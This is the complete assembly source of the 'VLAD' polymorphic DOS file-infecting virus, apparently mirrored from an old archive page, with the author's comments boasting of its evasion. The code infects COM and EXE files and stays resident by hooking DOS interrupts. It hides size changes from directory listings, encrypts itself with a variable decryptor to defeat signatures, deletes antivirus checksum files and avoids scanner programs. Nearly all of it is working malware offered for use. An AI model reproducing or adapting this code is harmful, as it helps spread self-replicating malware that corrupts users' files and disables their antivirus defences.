home *** CD-ROM | disk | FTP | other *** search
-
-
- ; The VLAD virus!
- ; +-------------+
-
- ; by Qark/VLAD!
-
-
- ; OVL files... never again! I give this piece of advice to anyone.
- ; By avoiding the infection of OVL's your virus may spread for long times
- ; without discovery. Otherwise everything crashes... ok, not everything
- ; but some large application programs do and that certainly makes people
- ; suspicious. Don't do it!
-
- ; WoW! My first ever polymorphic virus! Yay! We'll see how it does.
- ; My goal is to make it so that there is no longer a signature and you'll
- ; need an algorithm to find it... but some lines of code can't really be
- ; switched with others so I face a bit of a dilemma. My code has stood up
- ; to all the tests I've done on it so far... so we'll see.
-
- ; According to my calculations there are a few million variations on
- ; this sucker. I have gotten it to the point that there are only seven bytes
- ; that remain the same. Not too bad...
-
- ; This virus is completely optimised. Every routine has been stripped
- ; to the barest minimum. (Unlike Daddy in my last release). It even passed
- ; the 'TZ' test. He only managed to strip five bytes off this sucker.
-
- ; Features: Doesn't infect EXE files that use internal overlays.
- ; Doesn't get flagged under heuristics.
- ; Deletes CRC checking files.
- ; Findfirst/Findnext stealth.
- ; Directory listing stealth.
- ; Uses the DOS qualify function to fix-up the filename.
- ; (This is a pretty good new feature... uppercase, full path
- ; and it's smaller than a REP MOVSB!)
- ; Int24h handler to stop write protect errors on floppys.
- ; Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
- ; Uses SFT's to bypass some DOS functions.
- ; Infects readonly files without changing their attribute.
- ; Slightly polymorphic (Seven stable bytes)
- ; Doesn't infect COM files that are too big or small.
-
- ; Assemble using a86.
-
-
-
- org 0
-
- db 0beh ;Stands for MOV SI,xxxx
- delta dw 100h ;We'll put the data offset in.
-
- db 0b0h ;Stands for MOV AL,xxxx
- encryptor db 0 ;The encryption byte.
-
- poly6:
- add si,offset enc_start ;Point to the bit to encrypt.
-
-
- call encrypt ;Decrypt the file.
-
- enc_start: ;Everything after this point
- ;has been encrypted.
-
- sub si,offset enc_end ;Restore SI.
-
- ;mov word ptr [si+offset quit],20cdh
- db 0c7h,44h
- db offset quit
- dw 20cdh
- quit:
- mov word ptr [si+offset quit],44c7h
- ;Install the TSR now.
- push bx
- push cx
- push ds
- push es
- push si
-
- mov ax,0CAFEh ;Eat here.
- int 21h
-
- cmp ax,0F00Dh ;Is there any of this ?
- je bad_mem_exit ;Yep! Time for lunch! No viral
- ;activity today!
-
- mov ax,es ;ES = PSP
- dec ax
- mov ds,ax ;DS=MCB segment
-
- cmp byte ptr [0],'Z' ;Z=last MCB
- jne bad_mem_exit
-
- sub word ptr [3],160 ;160*16=2560 less memory
- sub word ptr [12h],160 ;[12h] = PSP:[2] = Top of memory
- mov ax,word ptr [12h]
- ;------------------------------
- push cs
- pop ds ;DS=CS
-
- xor bx,bx ;ES=0
- mov es,bx
-
- mov bx,word ptr es:[132] ;get int21h
-
- mov word ptr [si+offset i21],bx
-
- mov bx,word ptr es:[134] ;get int21h
- mov word ptr [si+offset i21 + 2],bx
-
- ;------------------------------
-
- mov es,ax ;Store our stuff in here...
-
- xor di,di
- mov cx,offset length
- rep movsb ;Move the Virus to ES:DI
- ;------------------------------
-
- xor bx,bx ;ES=0
- mov ds,bx
-
- mov word ptr [132],offset infection
- mov word ptr [134],ax
-
- bad_mem_exit:
-
- pop si
- pop es
- pop ds
- pop cx
- pop bx
-
- cmp byte ptr [si+offset com_exe],1
- je Exe_Exit
-
- mov ax,word ptr [si+offset old3]
- mov word ptr [100h],ax
- mov al,byte ptr [si+offset old3+2]
- mov [102h],al
-
- mov ax,100h
- jmp ax
-
-
- Exe_exit:
-
- mov ax,es ;ES=PSP
- add ax,10h ;PSP+10H = start of actual
- ;exe file.
-
- add word ptr [si+jump+2],ax ;Fix jump for original CS.
-
- mov sp,word ptr [si+offset orig_sp]
- add ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
- mov ss,ax
-
- push es
- pop ds
-
- xor si,si
- xor ax,ax
-
- db 0eah
- jump dd 0
-
-
- db '[VLAD virus]',0
- db 'by VLAD!',0
-
-
- infection proc far
-
- push ax ;Save AX
-
- xchg ah,al ;Swap AH,AL
-
- cmp al,4bh ;Cmp AL,xx is smaller than AH
- je test_file ;Thanx TZ! :)
- cmp al,43h
- je test_file
- cmp al,56h
- je test_file
- cmp ax,006ch
- je test_file
- cmp al,3dh
- je test_file
-
- cmp al,11h ;Do directory stealth.
- je dir_listing
- cmp al,12h
- je dir_listing
-
- cmp al,4eh ;Find_first/Find_next stealth.
- je find_file
- cmp al,4fh
- je find_file
-
- pop ax
-
- cmp ax,0CAFEh ;Where I drink coffee!
- jne jump1_exit
-
- mov ax,0F00Dh ;What I eat while I'm there.
-
- iret
-
- dir_listing:
- jmp dir_stealth
- find_file:
- jmp search_stealth
- jump1_exit:
-
- jmp jend
-
- test_file:
-
- push bx
- push cx
- push dx
- push ds
- push es
- push si
- push di
-
- cmp al,6ch
- jne no_fix_6c
-
- mov dx,si
-
- no_fix_6c:
-
- mov si,dx ;DS:SI = Filename.
-
- push cs
- pop es ;ES=CS
-
- mov ah,60h ;Get qualified filename.
- mov di,offset length ;DI=Buffer for filename.
- call int21h ;This converts it to uppercase too!
-
- ;CS:LENGTH = Filename in uppercase
- ;with path and drive. Much easier
- ;to handle now!
-
- push cs
- pop ds ;DS=CS
-
- mov si,di ;SI=DI=Offset of length.
-
- cld ;Clear direction flag.
-
- find_ascii_z:
-
- lodsb
- cmp al,0
- jne find_ascii_z
-
- sub si,4 ;Points to the file extension. 'EXE'
-
- lodsw ;Mov AX,DS:[SI]
-
- cmp ax,'XE' ;The 'EX' out of 'EXE'
- jne test_com
-
- lodsb ;Mov AL,DS:[SI]
-
- cmp al,'E' ;The last 'E' in 'EXE'
- jne jump2_exit
-
- jmp do_file ;EXE-file
-
- test_com:
-
- cmp ax,'OC' ;The 'CO' out of 'COM'
- jne jump2_exit
-
- lodsb ;Mov AL,DS:[SI]
-
- cmp al,'M'
- je do_file ;COM-file
-
- jump2_exit:
- jmp far_pop_exit ;Exit
-
- Do_file:
-
- call chk4scan
- jc jump2_Exit
-
- mov ax,3d00h ;Open file.
- mov dx,di ;DX=DI=Offset length.
- call int21h
-
- jc jump2_exit
-
- mov bx,ax ;File handle into BX.
-
- call get_sft ;Our SFT.
-
- ;Test for infection.
- mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
- mov word ptr es:[di+2],2 ;Bypass Read only attribute.
- and ax,1f1fh ;Get rid of the shit we don't need.
- cmp al,ah ;Compare the seconds with minutes.
- je jump2_exit
-
- push cs
- pop es ;ES=CS
-
- call del_crc_files
- ;Read the File header in to test
- ;for EXE or COM.
-
- mov ah,3fh ;Read from file.
- mov cx,1ch ;1C bytes.
- call int21h ;DX=Offset length from del_crc_files
- ;We don't need the filename anymore
- ;so use that space as a buffer.
-
- ;Save int24h and point to our controller.
-
- xor ax,ax
- mov es,ax
-
- push word ptr es:[24h*4] ;Save it.
- push word ptr es:[24h*4+2]
-
- mov word ptr es:[24h*4],offset int24h
- mov word ptr es:[24h*4+2],cs ;Point it!
-
- push cs
- pop es
-
- mov si,dx ;SI=DX=Offset of length.
-
- mov ax,word ptr [si] ;=Start of COM or EXE.
- add al,ah ;Add possible MZ.
- cmp al,167 ;Test for MZ.
- je exe_infect
- jmp com_infect
-
- EXE_Infect:
-
- mov byte ptr com_exe,1 ;Signal EXE file.
-
- cmp word ptr [si+1ah],0 ;Test for overlays.
- jne exe_close_exit ;Quick... run!!!
-
- push si ;SI=Offset of header
-
- add si,0eh ;SS:SP are here.
- mov di,offset orig_ss
- movsw ;Move them!
- movsw
-
- mov di,offset jump ;The CS:IP go in here.
-
- lodsw ;ADD SI,2 - AX destroyed.
-
- movsw
- movsw ;Move them!
-
- pop si
-
- call get_sft ;ES:DI = SFT for file.
-
- mov ax,word ptr es:[di+11h] ;File length in DX:AX.
- mov dx,word ptr es:[di+13h]
- mov cx,16 ;Divide by paragraphs.
- div cx
-
- sub ax,word ptr [si+8] ;Subtract headersize.
-
- mov word ptr delta,dx ;Initial IP.
-
- mov word ptr [si+14h],dx ;IP in header.
- mov word ptr [si+16h],ax ;CS in header.
-
- add dx,offset stack_end ;Fix SS:SP for file.
-
- mov word ptr [si+0eh],ax ;We'll make SS=CS
- mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
-
-
- mov ax,word ptr es:[di+11h] ;File length in DX:AX.
- mov dx,word ptr es:[di+13h]
-
- add ax,offset length ;Add the virus length on.
- adc dx,0 ;32bit
-
- mov cx,512 ;Divide by pages.
- div cx
-
- and dx,dx
- jz no_page_fix
-
- inc ax ;One more for the partial
- ;page!
- no_page_fix:
-
- mov word ptr [si+4],ax ;Number of pages.
- mov word ptr [si+2],dx ;Partial page.
-
- mov word ptr es:[di+15h],0 ;Lseek to start of file.
-
- call get_date ;Save the old time/date.
-
- mov ah,40h ;Write header to file.
- mov dx,si ;Our header buffer.
- mov cx,1ch ;1CH bytes.
- call int21h
-
- jc exe_close_exit
-
- mov ax,4202h ;End of file. Smaller than
- ;using SFT's.
- xor cx,cx ;Zero CX
- cwd ;Zero DX (If AX < 8000H then
- ;CWD moves zero into DX)
- call int21h
-
- call enc_setup ;Thisll encrypt it and move
- ;it to the end of file.
-
- exe_close_exit:
-
- jmp com_close_exit
-
- COM_Infect:
-
- mov byte ptr com_exe,0 ;Flag COM infection.
-
- mov ax,word ptr [si] ;Save COM files first 3 bytes.
- mov word ptr old3,ax
- mov al,[si+2]
- mov byte ptr old3+2,al
-
- call get_sft ;SFT is at ES:DI
-
- mov ax,es:[di+11h] ;AX=File Size
-
- cmp ax,64000
- ja com_close_exit ;Too big.
-
- cmp ax,1000
- jb com_close_exit ;Too small.
-
- push ax ;Save filesize.
-
- mov newoff,ax ;For the new jump.
- sub newoff,3 ;Fix the jump.
-
- mov word ptr es:[di+15h],0 ;Lseek to start of file :)
-
- call get_date ;Save original file date.
-
- mov ah,40h
- mov cx,3
- mov dx,offset new3 ;Write the virus jump to start of
- call int21h ;file.
-
- pop ax ;Restore file size.
-
- jc com_close_exit ;If an error occurred... exit.
-
- mov word ptr es:[di+15h],ax ;Lseek to end of file.
-
- add ax,100h ;File size + 100h.
- mov word ptr delta,ax ;The delta offset for COM files.
-
- call enc_setup
-
- com_close_exit:
-
- mov ah,3eh
- call int21h
-
- ;restore int24h
-
- xor ax,ax
- mov es,ax
-
- pop word ptr es:[24h*4+2]
- pop word ptr es:[24h*4]
-
-
- far_pop_exit:
-
- pop di
- pop si
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
-
- pop ax
-
- jend:
- db 0eah ;Opcode for jmpf
- i21 dd 0
-
-
- ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
- ;$$ PROCEDURES AND DATA $$
- ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
-
-
- int21h proc near ;Our int 21h
- pushf
- call dword ptr cs:[i21]
- ret
- int21h endp
-
- int24h proc near
- mov al,3
- iret
- int24h endp
-
- Search_Stealth:
-
- pop ax ;Restore AX.
-
- call int21h
- jc end_search
-
- push es
- push bx
- push si
-
- mov ah,2fh
- call int21h
-
- mov si,bx
-
- mov bx,word ptr es:[si+16h]
- and bx,1f1fh
- cmp bl,bh
- jne search_pop ;Is our marker set ?
-
- sub word ptr es:[si+1ah],offset length ;Subtract the file length.
- sbb word ptr es:[si+1ch],0
-
- search_pop:
- pop si
- pop bx
- pop es
- clc
- end_search:
- retf 2 ;This is the same as an IRET
- ;except that the flags aren't popped
- ;off so our Carry Remains set.
-
-
-
-
- Dir_Stealth:
-
- ;This bit means that when you do a 'dir' there is no change in
- ;file size.
-
- pop ax
-
- call int21h ;Call the interrupt
- cmp al,0 ;straight off.
- jne end_of_dir
-
- push es
- push ax ;Save em.
- push bx
- push si
-
- mov ah,2fh ;Get DTA address.
- call int21h
-
- mov si,bx
- cmp byte ptr es:[si],0ffh ;Extended FCB ?
- jne not_extended
-
- add si,7 ;Add the extra's.
-
- not_extended:
-
- mov bx,word ptr es:[si+17h] ;Move time.
- and bx,1f1fh
- cmp bl,bh
- jne dir_pop ;Is our marker set ?
-
- sub word ptr es:[si+1dh],offset length ;Subtract the file length.
- sbb word ptr es:[si+1fh],0
-
- dir_pop:
-
- pop si
- pop bx
- pop ax
- pop es
-
- end_of_dir:
-
- iret
-
-
- Get_Date proc near
- ;Saves the date into DATE and TIME.
-
- mov ax,5700h ;Get Date/Time.
- call int21h
- mov word ptr time,cx
- mov word ptr date,dx
-
- ret
- Get_Date endp
-
- time dw 0
- date dw 0
-
- Set_marker proc near
- ;Sets the time back and changes the time into an infection marker.
-
- mov cx,time
- mov al,ch
- and al,1fh
- and cl,0e0h
- or cl,al
- mov dx,date
- mov ax,5701h
- call int21h
-
- ret
-
- Set_marker endp
-
- PolyMorphic Proc Near
- ;Moves random instructions into the code.
-
- in ax,40h ;Random in AX
- and ax,6 ;Between 0-3 * 2
- mov di,offset enc_loop ;Put the xor in a random position.
- add di,ax
- mov word ptr [di],0430h ;=XOR [SI],AL
-
- mov dx,di ;Already done this position
-
- mov di,offset poly1 ;Put the random instruction here.
-
- mov cx,3 ;3 random instructions.
-
- poly_enc_loop:
-
- in ax,40h ;Random number in AX.
- and ax,14 ;Between 0-7. Multiplied by 2.
- ;14 = 00001110b
- mov si,offset database1 ;SI points to start of database.
- add si,ax ;Add SI with AX the random offset.
-
- cmp dx,di ;Is the XOR here ?
- jne poly_move ;Nope its ok.
-
- inc di ;Dont move where the XOR is!
- inc di
- poly_move:
- movsw ;Move the instruction.
- loop poly_enc_loop
-
- Poly_CX:
- ;This time we are randomising the 'MOV CX,' in the encryption
- ;routine with some POPs.
-
- in ax,40h ;Random number in AX.
- and ax,3 ;0-3
- cmp ax,3
- je poly_cx ;We only have 3 combinations to
- ;choose from so retry if the fourth
- ;option gets choosen.
-
- xchg al,ah ;Swap em for AAD.
- aad ;Multiply AH by 10(decimal).
- shr al,1 ;Divide by 2.
- ;The overall effect of this is
- ;MUL AX,5 We need this because
- ;we have to move 5 bytes.
-
- mov si,offset database2
- add si,ax
- mov di,offset poly5 ;Where to put the bytes.
- movsw ;Move 5 bytes
- movsw
- movsb
-
- in ax,40h ;Rand in AX.
- and ax,12 ;0-3*4
- mov si,offset database3
- add si,ax
- mov di,offset poly6
- movsw
- movsw
-
- in ax,40h
- and ax,2
- mov si,offset database4
- add si,ax
- mov di,offset poly7
- movsw
-
- in ax,40h
- and ax,2
- mov si,offset database5
- add si,ax
- mov di,offset poly8
- movsw
-
- ret
-
- db '[VIP v0.01]',0
-
- PolyMorphic EndP
-
- database1 db 0f6h,0d0h ;not al 2 bytes
- db 0feh,0c0h ;inc al 2 bytes
- db 0f6h,0d8h ;neg al 2 bytes
- db 0feh,0c8h ;dec al 2 bytes
- db 0d0h,0c0h ;rol al,1 2 bytes
- db 04h,17h ;add al,17h 2 bytes
- db 0d0h,0c8h ;ror al,1 2 bytes
- db 2ch,17h ;sub al,17h 2 bytes
-
- database2: ;Three variations on the one routine within encrypt.
- mov cx,offset enc_end - offset enc_start
- push cs
- pop ds
-
- push cs
- pop ds
- mov cx,offset enc_end - offset enc_start
-
- push cs
- mov cx,offset enc_end - offset enc_start
- pop ds
-
- database3: ;Four variations of the routine at the start of the virus.
-
- add si,offset enc_start + 1
- dec si
-
- dec si
- add si,offset enc_start +1
-
- add si,offset enc_start -1
- inc si
-
- inc si
- add si,offset enc_start -1
-
- database4: ;This is for the INC SI in the encryption.
- inc si
- cld
- cld
- inc si
-
- database5: ;This is for the RET in the encryption.
- ret
- db 0fh
- cld
- ret
-
- Enc_Setup proc near
-
- push cs
- pop es
-
- call polymorphic ;Our polymorphic routine.
-
- inc byte ptr encryptor ;Change the encryptor.
- jnz enc_not_zero ;Test for zero.
- ;XOR by Zero is the same byte.
- inc byte ptr encryptor
-
- enc_not_zero:
-
- xor si,si
- mov di,offset length ;Offset of our buffer.
- mov cx,offset length ;Virus Length.
- rep movsb ;Move the virus up in memory for
- ;encryption.
- mov al,byte ptr encryptor
- mov si,offset length + offset enc_start
-
- call encrypt ;Encrypt virus.
-
- mov ah,40h ;Write virus to file
- mov dx,offset length ;Buffer for encrypted virus.
- mov cx,offset length ;Virus length.
- call int21h
-
- call set_marker ;Mark file as infected.
-
- ret
- Enc_Setup endp
-
- Get_SFT Proc Near
- ;Entry: BX=File Handle.
- ;Exit: ES:DI=SFT.
-
- push bx
-
- mov ax,1220h ;Get Job File Table Entry. The byte pointed
- int 2fh ;at by ES:[DI] contains the number of the
- ;SFT for the file handle.
-
- xor bx,bx
- mov bl,es:[di] ;Get address of System File Table Entry.
- mov ax,1216h
- int 2fh
-
- pop bx
-
- ret
-
- Get_SFT EndP
-
- Del_CRC_Files Proc Near
- ;Deletes AV CRC checking files. Much smaller than the previous version.
-
- std ;Scan backwards.
-
- find_slash2: ;Find the backslash in the path.
-
- lodsb
- cmp al,'\'
- jne find_slash2
-
- cld ;Scan forwards.
-
- lodsw ;ADD SI,2 - AX is destroyed.
-
- push si
- pop di ;DI=SI=Place to put filename.
-
- mov si,offset crc_files
-
- del_crc:
-
- push di ;Save DI.
-
- loadname:
- movsb
- cmp byte ptr [di-1],0
- jne loadname
-
- mov ah,41h
- call int21h ;Delete.
-
- pop di
-
- cmp si,offset chk4scan
- jb del_crc
-
- ret
-
- Del_CRC_Files EndP
-
-
- ;Delete these...
- CRC_Files db 'ANTI-VIR.DAT',0
- db 'MSAV.CHK',0
- db 'CHKLIST.CPS',0
- db 'CHKLIST.MS',0
-
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-
- Chk4Scan Proc Near
- ;This routine searches for SCAN, TB* and F-PR* and exits with the carry
- ;set if they are found. All these files self-check themselves so will alert
- ;the user to the viruses presence. DV.EXE is checked by DV.COM and won't
- ;execute.
- ;Assumes DI=offset length, SI=End of filename
-
- std ;Scan backwards.
-
- find_slash: ;Find the backslash in the path.
- lodsb
- cmp al,'\'
- jne find_slash
-
- cld ;Scan forwards.
-
- lodsw ;SI points to byte before slash
- ;so we add 2. AX is killed.
- lodsw
- cmp ax,'CS' ;The 'SC' from SCAN.
- jne tbcheck
- lodsw
- cmp ax,'NA' ;The 'AN' from SCAN
- jne chkfail
- stc ;Set carry.
- ret
- tbcheck:
- cmp ax,'BT' ;The 'TB' from TBSAN.
- jne fcheck
- stc ;Set carry.
- ret
- fcheck:
- cmp ax,'-F' ;The 'F-' from F-PROT.
- jne dvcheck
- lodsw
- cmp ax,'RP' ;The 'PR' from F-PROT.
- jne chkfail
- stc ;Set carry
- ret
- dvcheck:
- cmp ax,'VD' ;The 'DV' from DV.EXE.
- jne chkfail
- lodsw
- cmp ax,'E.' ;The '.E' from DV.EXE.
- jne chkfail
- stc
- ret
- chkfail:
- clc ;Clear the carry.
- ret
-
- Chk4Scan EndP
-
- com_exe db 0 ;1=EXE
-
- New3 db 0e9h ;The jump for the start of
- Newoff dw 0 ;COM files.
-
- old3 db 0cdh,20h,90h ;First 3 comfile bytes here.
-
- orig_ss dw 0
- orig_sp dw 0
-
- enc_end:
-
-
- encrypt proc near ;Encrypts the virus.
-
- ;SI = offset of bit to be encrypted
- ;AL = encryptor
- poly5:
- mov cx,offset enc_end - offset enc_start
- push cs
- pop ds
- enc_loop:
-
- poly1: ;The next four lines of code are
- ror al,1 ;continuously swapped and moved with
- poly2: ;other code. Ever changing...
- ror al,1
- poly3:
- ror al,1
- poly4:
- xor byte ptr [si],al
- poly7:
- nop
- inc si
- loop enc_loop
- poly8:
- nop
- ret
-
- encrypt endp
-
-
- length db 100 dup (0)
- stack_end:
-
-
-